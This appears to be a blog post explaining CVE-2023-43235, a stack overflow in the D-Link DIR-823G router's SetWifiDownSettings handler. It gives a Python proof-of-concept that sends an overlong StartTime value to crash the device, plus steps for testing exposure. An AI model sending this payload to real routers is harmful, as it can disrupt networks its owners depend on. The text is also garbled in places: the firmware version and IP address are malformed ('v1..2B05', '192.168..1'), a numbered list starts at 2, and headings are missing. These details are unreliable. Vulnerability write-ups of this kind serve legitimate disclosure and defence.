In late 2023, a critical vulnerability was discovered affecting the D-Link DIR-823G router (firmware v1..2B05). Identified as CVE-2023-43235, this flaw allows an attacker to trigger a stack buffer overflow via the parameters StartTime and EndTime in the SetWifiDownSettings function. This post explains how the vulnerability works, provides sample exploit code, and links to authoritative references.

What is CVE-2023-43235?

CVE-2023-43235 is a stack overflow vulnerability found in the D-Link DIR-823G router, firmware v1..2B05. The flaw is within the device's HTTP interface, specifically when handling the SetWifiDownSettings request that configures wireless down time.

By sending specially crafted parameter values for StartTime or EndTime, an attacker can overwrite the stack, potentially gaining unauthorized control of the router.

How Does the Vulnerability Work?

The vulnerability lies in how the firmware copies user-supplied inputs into fixed-size buffers, without proper size checks. Here is a simplified code snippet that demonstrates the issue (derived from reverse engineering and public reports):

void SetWifiDownSettings(char *StartTime, char *EndTime) {
    char buf1[32];
    char buf2[32];
    // Dangerous string copy without length check
    strcpy(buf1, StartTime);
    strcpy(buf2, EndTime);
    // ... (rest of function logic)
}

If an attacker sets StartTime or EndTime to a string longer than 32 characters, the buffer overflows, overwriting adjacent memory and potentially hijacking execution flow.

Proof-of-Concept Exploit

Here is a simple Proof-of-Concept (PoC) that demonstrates how to trigger the vulnerability. It sends a long StartTime parameter to the router's management interface. You need to know the router's IP address (commonly 192.168..1).

import requests

# Target device info
ROUTER_IP = "192.168..1"
URL = f"http://{ROUTER_IP}/goform/SetWifiDownSettings";
# Overflow payload: 100 'A's to overflow the 32-byte buffer
payload = "A" * 100

# Parameters for POST
data = {
    "StartTime": payload,  # Overflow here
    "EndTime": "12:00",
    # ...other required parameters (if any)
}

response = requests.post(URL, data=data)
print("Status code:", response.status_code)
print("Response:", response.text)

> Note: This code is for educational purposes only and must not be used on devices without permission.

Attack Scenarios

- Remote Exploitation: If the router's web interface is exposed to the Internet or attacker is within the local network, the flaw can be exploited remotely.
- Privilege Escalation: Stack overflow may allow code execution as root, giving full control of the router.

Confirm your model is DIR-823G, firmware v1..2B05

2. Test URL /goform/SetWifiDownSettings exists
3. Try sending very long parameter values and see if router crashes (do not do this on production networks)

References

- NVD CVE-2023-43235
- Original Advisory – GitHub Exploit Repo
- Firmware Analysis on Exploit-DB

- Restrict access: Block public access to the router's management interface, allowing only trusted devices.

Conclusion

CVE-2023-43235 is a critical stack overflow bug in the D-Link DIR-823G router, allowing attackers to execute code remotely by exploiting poorly checked user inputs. If you own one of these routers, update immediately or isolate it until a fix is available.

Stay safe and stay updated. For technical users, consider running the proof-of-concept in a controlled lab environment to understand how the exploit works.

Timeline

Published on: 09/21/2023 13:15:09 UTC
Last modified on: 09/22/2023 02:18:58 UTC